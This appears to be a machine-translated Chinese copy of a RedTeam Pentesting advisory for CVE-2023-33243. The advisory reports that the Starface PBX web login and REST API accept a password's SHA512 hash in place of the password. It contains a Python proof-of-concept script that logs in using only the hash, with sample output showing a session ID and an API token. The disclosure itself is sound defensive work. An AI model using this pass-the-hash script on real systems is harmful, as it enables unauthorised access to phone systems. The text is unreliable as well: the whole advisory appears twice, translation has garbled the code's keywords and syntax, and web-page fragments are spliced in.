利用标题: Starface 7.3.0.10-可能使用密码的身份验证
受影响的版本: 7.3.0.10及更早版本
固定版本:-
漏洞类型:破碎的身份验证
安全风险:低
供应商URL: https://www.starface.de
供应商状态:已通知
咨询URL: https://www.redteam-penting.de/ADVISOIRES/RT-SA-SA-2022-004
咨询状态:发布
CVE: CVE-2023-33243
CVE url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-33243
介绍
===============
'当功能和舒适性聚集在一起时,结果是
我们称其为“舒适者”的最先进的经验。是一个
满足所有需求的安全,可扩展的数字通信解决方案
并希望。 Starface易于集成到现有的IT系统和
柔性随您的要求而增长。”
(来自供应商的主页)
更多细节
===============
7.3.0.10版中Starface PBX [0]的图像可以从
供应商的主页[1]。随附的文件可以通过
提取内容或在虚拟中运行图像
机器。 PBX的Web界面使用JavaScript文件
以下路径提交登录表单:
----------------------------------------------------------------------------------------------------------------------
JS/Prettifier.js
----------------------------------------------------------------------------------------------------------------------
JavaScript文件“ Prettifier.js”添加以下两行
提交之前,两个参数“秘密”和“ ack” :
----------------------------------------------------------------------------------------------------------------------
$ form(document.forms [0])。add('secret',createHash(defaultvals.isad,liv,lpv,defaultvals.k + defaultvals.bk)));
$ form(document.forms [0])。add('ack',defaultvals.k);
----------------------------------------------------------------------------------------------------------------------
Web应用程序的JavaScript对象“ DefaultVals”包含
源文本。虽然发现“ defaultvals.k”的值是
PBX版本的静态哈希,“ defaultvals.bk”的值包含一个
NONCE仅对当前使用的会话有效。因此,形式
参数“ ack”始终是相同的值。对于“秘密”的形式价值
函数“ createHash()”带有不同的参数。这
通过active登录时,“ defaultvals.isad”的值将“ false”设置为“ false”
目录被禁用。参数“ liv”和“ lpv”包含
用户名和密码分别输入了表单。
----------------------------------------------------------------------------------------------------------------------
const createHash=function(ISAD,用户,Pass,Nonces){
如果(isad){
返回forad.encode(用户+ nonces + pass);
}
返回用户+':' + forsf(用户+ nonces + forsf(pass));
};
----------------------------------------------------------------------------------------------------------------------
第二个返回语句之后的表达式是
禁用Active Directory登录时使用的实现
默认设置。返回值由分离的用户名组成
通过使用“ forsf()”函数构建的值的结肠。这
发现“ forsf()”函数可以计算SHA512哈希值。什么时候
考虑到传递到函数的参数,计算哈希
如下:
----------------------------------------------------------------------------------------------------------------------
sha512(用户名+ defaultvals.k + defaultvals.bk + sha512(密码))
----------------------------------------------------------------------------------------------------------------------
可以看出,而不是Clearext密码SHA512哈希
密码用于计算中。总之,形式价值
“秘密”以下值是传输的:
----------------------------------------------------------------------------------------------------------------------
用户名+':' + sha512(
用户名+ defaultvals.k + defaultvals.bk + sha512(密码)
)
----------------------------------------------------------------------------------------------------------------------
如果已知用户密码的SHA512哈希,则可以直接
用于计算登录过程中“秘密”的计算。
不需要了解Clearext密码。
通过分析分解的Java代码,也证实了这一发现
服务器组件。还发现身份验证过程
其余的API以非常相似的方式很容易受到伤害。
概念证明
=====================
以下Python脚本可用于通过指定
目标网址,用户名和关联的密码哈希:
----------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env Python3
导入点击
导入哈希布
导入
导入请求
导入打字
def get_values_from_session(url,session)-typing.tuple [str,str] :
k,bk='',''
response_content=session.get(f'{url}/jsp/index.jsp')
k_result=re.search('\ sk :'([^']+)'',response_content)
bk_result=re.search('\ sbk :'([^']+)',response_content)
如果k_result!=none:
k=k_result.group(1)
如果bk_result!=none:
bk=bk_result.group(1)
返回k,bk
def web_login(url,登录,pwhash,session)-Boo:
版本,nonce=get_values_from_session(url,session)
如果版本==''或nonce=='':
打印('Web登录失败: nonce和版本哈希无法检索。')
返回
值=登录+版本+ nonce + pwhash
secret=hashlib.sha512(value.encode('utf-8'))。hexdigest()
数据={
'forward':'',
'autologin':'false',
'Secret': f'{login} : {secret}',
'ack':版本,
}
login_request=session.post(
f'{url}/login',
数据=数据,
ally_redirects=false,
headers={'referer': f'{url}/jsp/index.jsp'},
)
response_headers=login_request.headers
如果响应_headers:中的'set-cookie'
session_id=response_headers ['set-cookie']。split('=')[1] .split(';')[0]
打印(f'Session ID: {session_id}')
返回true
其他:
打印(“无效登录数据”)
返回false
def get_nonce_from_api(url,session)-STR:
response_content=session.get(f'{url}/rest/login')。json()
返回response_content ['nonce']如果'nonce'
DEF REST_LOGIN(URL,登录,PWHASH,会话):
nonce=get_nonce_from_api(url,session)
如果nonce=='':
打印('REST登录失败: nonce无法检索。')
返回
值=登录+ nonce + pwhash
secret=hashlib.sha512(value.encode('utf-8'))。hexdigest()
data={'logIntype':'内部','nonce': nonce,'secret': f'{login} : {secret}'}
login_request=session.post(
f'{url}/rest/login',
json=数据,
headers={'content-type':'application/json','x-version':'2'},
)
response_data=login_request.json()
token=response_data ['token']如果在repssovy_data中'doken'
打印(f'rest api token: {token}')
@click.command()
@click.option(' - url',help='目标系统URL',必需=true)
@click.option(' - login',help='登录ID',必需=true)
@click.option(' - pwhash',help='密码哈希',必需=true)
DEF登录(URL,登录,PWHASH):
session=requests.session()
剥离=url.rstrip('/')
结果=web_login(stripped_url,登录,pwhash,session)
如果结果:
REST_LOGIN(剥离,登录,pwhash,会话)
如果name=='__ -Main __':
登录()
----------------------------------------------------------------------------------------------------------------------
例如,密码'starface'的sha512 hash可以是
计算如下:
----------------------------------------------------------------------------------------------------------------------
$ echo -n'starface'| SHA512SUM
A37542915E834F6E446137D759CDCB825A054D0BAAB73FD8DB695FC49529BC8E 52EB27979DD1DCC21849567BAC74180F6511121F76F4A2A2A2A1F196670B7375F8EC -
----------------------------------------------------------------------------------------------------------------------
Python脚本可以按以下方式运行以执行用户的登录
'0001'吸收的hash:
----------------------------------------------------------------------------------------------------------------------
$ python3 login.py -url'https://www.example.com' - login 0001 -pwhash
'A37542915E834F6E446137D759CDCB825A054D0BA73FD8DB695FC49529BC8E 52EB27979DD1DCC21849567BAC74180F6511121F76F4A2A2A2A1F196670B7375F8EC'
会话ID: 2CF09656E274F000FFAD023AF37629CE
REST API TOKEN: 51EEF8F8VP3D3U81K0IMJBUUU7
----------------------------------------------------------------------------------------------------------------------
当密码哈希对目标的指定用户有效
实例返回会话ID以及REST API令牌。
之后,这些值可用于与Web交互
应用程序和REST API。
解决方法
=============
没有任何
使固定
===
2023年5月4日,发布了8.0.0.11版。在这个版本中
使用临时解决方案解决了脆弱性
密码哈希在保存在数据库中之前已加密。
这种方法可防止攻击者在
他们只获取纯数据库访问的风景。然而,
具有系统级访问的攻击者可以绕过此临时措施
他们可以提取加密键,并解密
数据库。一种完全解决此漏洞的解决方案仍在
进步。
安全风险
=================
Starface的Web界面和REST API允许使用
密码哈希而不是Clearext密码。这可以被利用
攻击者可以访问应用程序的数据库
密码也被保存为Clearext密码的SHA512哈希。
虽然这次攻击的先决条件可能是
Starface PBX,另一种攻击情况可能是攻击者
获取对存储在另一个系统上的数据库备份的访问。
此外,通过密码哈希登录允许攻击者永久
即使系统访问是未经授权访问Web界面的访问
仅暂时获得。由于获得访问的先决条件
对于密码哈希,漏洞仅带来低风险。
时间表
==========
确定的2022-12-06漏洞
2022-12-13客户批准向供应商披露
2023-01-11供应商已通知
2023-05-04供应商发布了新版本8.0.0.11
2023-05-19 CVE ID请求
分配了2023-05-20 CVE ID
2023-06-01咨询发布
参考
=============
[0] https://starface.com/en/products/comfortphoning/
[1] https://knowledge.starface.de/pages/viewpage.action?pageID=46564694
redteam pentesting GmbH
================================
Redteam Pentesting提供了由A执行的个人穿透测试
专业IT安全专家团队。特此,安全弱点
公司网络或产品被发现,可以立即修复。
由于该领域只有很少的专家,因此Redteam Pentesting想要
分享其知识并通过研究来增强公众知识
与安全有关的区域。结果可作为公开
安全咨询。
可以在:中找到有关Redteam Pentesting的更多信息
www.redteam-pentesting.de
在Redteam Pentesting工作
=======================================
Redteam Pentesting正在寻找渗透测试人员加入我们的团队
在德国亚兴。如果您有兴趣,请访问:
jobs.redteam-pentesting.de
- -
redteam Pentesting GmbH Tel. +49 241 510081-0
Alter Pasthof 1传真: +49 241 510081-99
52062 AACHEN https://www.redteam-pesting.de
德国registergericht: Aachen HRB 14004
Geschäftsführer
atrick Hof,Jens Liebchen
受影响的版本: 7.3.0.10及更早版本
固定版本:-
漏洞类型:破碎的身份验证
安全风险:低
供应商URL: https://www.starface.de
供应商状态:已通知
咨询URL: https://www.redteam-penting.de/ADVISOIRES/RT-SA-SA-2022-004
咨询状态:发布
CVE: CVE-2023-33243
CVE url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-33243
介绍
===============
'当功能和舒适性聚集在一起时,结果是
我们称其为“舒适者”的最先进的经验。是一个
满足所有需求的安全,可扩展的数字通信解决方案
并希望。 Starface易于集成到现有的IT系统和
柔性随您的要求而增长。”
(来自供应商的主页)
更多细节
===============
7.3.0.10版中Starface PBX [0]的图像可以从
供应商的主页[1]。随附的文件可以通过
提取内容或在虚拟中运行图像
机器。 PBX的Web界面使用JavaScript文件
以下路径提交登录表单:
----------------------------------------------------------------------------------------------------------------------
JS/Prettifier.js
----------------------------------------------------------------------------------------------------------------------
JavaScript文件“ Prettifier.js”添加以下两行
提交之前,两个参数“秘密”和“ ack” :
----------------------------------------------------------------------------------------------------------------------
$ form(document.forms [0])。add('secret',createHash(defaultvals.isad,liv,lpv,defaultvals.k + defaultvals.bk)));
$ form(document.forms [0])。add('ack',defaultvals.k);
----------------------------------------------------------------------------------------------------------------------
Web应用程序的JavaScript对象“ DefaultVals”包含
源文本。虽然发现“ defaultvals.k”的值是
PBX版本的静态哈希,“ defaultvals.bk”的值包含一个
NONCE仅对当前使用的会话有效。因此,形式
参数“ ack”始终是相同的值。对于“秘密”的形式价值
函数“ createHash()”带有不同的参数。这
通过active登录时,“ defaultvals.isad”的值将“ false”设置为“ false”
目录被禁用。参数“ liv”和“ lpv”包含
用户名和密码分别输入了表单。
----------------------------------------------------------------------------------------------------------------------
const createHash=function(ISAD,用户,Pass,Nonces){
如果(isad){
返回forad.encode(用户+ nonces + pass);
}
返回用户+':' + forsf(用户+ nonces + forsf(pass));
};
----------------------------------------------------------------------------------------------------------------------
第二个返回语句之后的表达式是
禁用Active Directory登录时使用的实现
默认设置。返回值由分离的用户名组成
通过使用“ forsf()”函数构建的值的结肠。这
发现“ forsf()”函数可以计算SHA512哈希值。什么时候
考虑到传递到函数的参数,计算哈希
如下:
----------------------------------------------------------------------------------------------------------------------
sha512(用户名+ defaultvals.k + defaultvals.bk + sha512(密码))
----------------------------------------------------------------------------------------------------------------------
可以看出,而不是Clearext密码SHA512哈希
密码用于计算中。总之,形式价值
“秘密”以下值是传输的:
----------------------------------------------------------------------------------------------------------------------
用户名+':' + sha512(
用户名+ defaultvals.k + defaultvals.bk + sha512(密码)
)
----------------------------------------------------------------------------------------------------------------------
如果已知用户密码的SHA512哈希,则可以直接
用于计算登录过程中“秘密”的计算。
不需要了解Clearext密码。
通过分析分解的Java代码,也证实了这一发现
服务器组件。还发现身份验证过程
其余的API以非常相似的方式很容易受到伤害。
概念证明
=====================
以下Python脚本可用于通过指定
目标网址,用户名和关联的密码哈希:
----------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env Python3
导入点击
导入哈希布
导入
导入请求
导入打字
def get_values_from_session(url,session)-typing.tuple [str,str] :
k,bk='',''
response_content=session.get(f'{url}/jsp/index.jsp')
k_result=re.search('\ sk :'([^']+)'',response_content)
bk_result=re.search('\ sbk :'([^']+)',response_content)
如果k_result!=none:
k=k_result.group(1)
如果bk_result!=none:
bk=bk_result.group(1)
返回k,bk
def web_login(url,登录,pwhash,session)-Boo:
版本,nonce=get_values_from_session(url,session)
如果版本==''或nonce=='':
打印('Web登录失败: nonce和版本哈希无法检索。')
返回
值=登录+版本+ nonce + pwhash
secret=hashlib.sha512(value.encode('utf-8'))。hexdigest()
数据={
'forward':'',
'autologin':'false',
'Secret': f'{login} : {secret}',
'ack':版本,
}
login_request=session.post(
f'{url}/login',
数据=数据,
ally_redirects=false,
headers={'referer': f'{url}/jsp/index.jsp'},
)
response_headers=login_request.headers
如果响应_headers:中的'set-cookie'
session_id=response_headers ['set-cookie']。split('=')[1] .split(';')[0]
打印(f'Session ID: {session_id}')
返回true
其他:
打印(“无效登录数据”)
返回false
def get_nonce_from_api(url,session)-STR:
response_content=session.get(f'{url}/rest/login')。json()
返回response_content ['nonce']如果'nonce'
DEF REST_LOGIN(URL,登录,PWHASH,会话):
nonce=get_nonce_from_api(url,session)
如果nonce=='':
打印('REST登录失败: nonce无法检索。')
返回
值=登录+ nonce + pwhash
secret=hashlib.sha512(value.encode('utf-8'))。hexdigest()
data={'logIntype':'内部','nonce': nonce,'secret': f'{login} : {secret}'}
login_request=session.post(
f'{url}/rest/login',
json=数据,
headers={'content-type':'application/json','x-version':'2'},
)
response_data=login_request.json()
token=response_data ['token']如果在repssovy_data中'doken'
打印(f'rest api token: {token}')
@click.command()
@click.option(' - url',help='目标系统URL',必需=true)
@click.option(' - login',help='登录ID',必需=true)
@click.option(' - pwhash',help='密码哈希',必需=true)
DEF登录(URL,登录,PWHASH):
session=requests.session()
剥离=url.rstrip('/')
结果=web_login(stripped_url,登录,pwhash,session)
如果结果:
REST_LOGIN(剥离,登录,pwhash,会话)
如果name=='__ -Main __':
登录()
----------------------------------------------------------------------------------------------------------------------
例如,密码'starface'的sha512 hash可以是
计算如下:
----------------------------------------------------------------------------------------------------------------------
$ echo -n'starface'| SHA512SUM
A37542915E834F6E446137D759CDCB825A054D0BAAB73FD8DB695FC49529BC8E 52EB27979DD1DCC21849567BAC74180F6511121F76F4A2A2A2A1F196670B7375F8EC -
----------------------------------------------------------------------------------------------------------------------
Python脚本可以按以下方式运行以执行用户的登录
'0001'吸收的hash:
----------------------------------------------------------------------------------------------------------------------
$ python3 login.py -url'https://www.example.com' - login 0001 -pwhash
'A37542915E834F6E446137D759CDCB825A054D0BA73FD8DB695FC49529BC8E 52EB27979DD1DCC21849567BAC74180F6511121F76F4A2A2A2A1F196670B7375F8EC'
会话ID: 2CF09656E274F000FFAD023AF37629CE
REST API TOKEN: 51EEF8F8VP3D3U81K0IMJBUUU7
----------------------------------------------------------------------------------------------------------------------
当密码哈希对目标的指定用户有效
实例返回会话ID以及REST API令牌。
之后,这些值可用于与Web交互
应用程序和REST API。
解决方法
=============
没有任何
使固定
===
2023年5月4日,发布了8.0.0.11版。在这个版本中
使用临时解决方案解决了脆弱性
密码哈希在保存在数据库中之前已加密。
这种方法可防止攻击者在
他们只获取纯数据库访问的风景。然而,
具有系统级访问的攻击者可以绕过此临时措施
他们可以提取加密键,并解密
数据库。一种完全解决此漏洞的解决方案仍在
进步。
安全风险
=================
Starface的Web界面和REST API允许使用
密码哈希而不是Clearext密码。这可以被利用
攻击者可以访问应用程序的数据库
密码也被保存为Clearext密码的SHA512哈希。
虽然这次攻击的先决条件可能是
Starface PBX,另一种攻击情况可能是攻击者
获取对存储在另一个系统上的数据库备份的访问。
此外,通过密码哈希登录允许攻击者永久
即使系统访问是未经授权访问Web界面的访问
仅暂时获得。由于获得访问的先决条件
对于密码哈希,漏洞仅带来低风险。
时间表
==========
确定的2022-12-06漏洞
2022-12-13客户批准向供应商披露
2023-01-11供应商已通知
2023-05-04供应商发布了新版本8.0.0.11
2023-05-19 CVE ID请求
分配了2023-05-20 CVE ID
2023-06-01咨询发布
参考
=============
[0] https://starface.com/en/products/comfortphoning/
[1] https://knowledge.starface.de/pages/viewpage.action?pageID=46564694
redteam pentesting GmbH
================================
Redteam Pentesting提供了由A执行的个人穿透测试
专业IT安全专家团队。特此,安全弱点
公司网络或产品被发现,可以立即修复。
由于该领域只有很少的专家,因此Redteam Pentesting想要
分享其知识并通过研究来增强公众知识
与安全有关的区域。结果可作为公开
安全咨询。
可以在:中找到有关Redteam Pentesting的更多信息

RedTeam Pentesting GmbH - Home
RedTeam Pentesting is specialised in performing penetration tests. Mandated by worldwide customers, security vulnerabilities in IT systems are uncovered.

=======================================
Redteam Pentesting正在寻找渗透测试人员加入我们的团队
在德国亚兴。如果您有兴趣,请访问:

Werde eine*r von uns!
Interesse an einer Anstellung als Penetrationstester*in? Bewirb dich jetzt bei RedTeam Pentesting!

redteam Pentesting GmbH Tel. +49 241 510081-0
Alter Pasthof 1传真: +49 241 510081-99
52062 AACHEN https://www.redteam-pesting.de
德国registergericht: Aachen HRB 14004
Geschäftsführer
